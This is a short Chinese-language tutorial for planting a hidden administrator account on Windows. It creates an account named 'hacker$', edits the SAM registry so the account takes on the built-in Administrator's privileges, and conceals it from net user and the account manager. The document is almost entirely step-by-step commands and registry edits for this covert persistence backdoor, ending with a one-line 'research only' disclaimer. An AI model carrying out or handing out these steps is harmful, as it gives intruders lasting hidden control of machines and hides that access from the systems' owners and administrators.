註冊表權限操作實戰：為 Windows 建立隱藏超級管理員帳號

利用 regedt32.exe 可設定註冊表鍵值權限，配合 regedit.exe 匯入/匯出，可在 SAM 資料庫中建立一個隱藏的超級管理員帳號（如 hacker$），該帳號在使用者管理介面與 net user 指令中均不可見，極具隱蔽性。

核心步驟

1. 建立一般帳號 hacker$：net user hacker$ 1234 /add。
2. 以 regedt32.exe 開啟 HKEY_LOCAL_MACHINE\SAM\SAM，將目前登入帳號（如 Administrator）加入完全控制權限。
3. 改用 regedit.exe 開啟 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\hacker$。
4. 匯出 hacker$、00000409、000001F4 三個分支為 .reg 檔。
5. 用記事本編輯：將超級管理員對應的 000001F4 分支中鍵 F 的值，複製覆蓋 hacker$ 的 00000409 分支同鍵值，合併後匯入。
6. 刪除原帳號：net user hacker$ /del。
7. 在 regedit 中重新整理（F5），匯入修改後的 .reg 檔。
8. 用 regedt32.exe 還原 SAM\SAM 權限（移除先前加入的管理員帳號）。

警示： 建立後無法再透過 net user 修改密碼，否則隱藏屬性失效；請妥善保管密碼。此技術僅供安全研究與授權滲透測試使用，嚴禁濫用。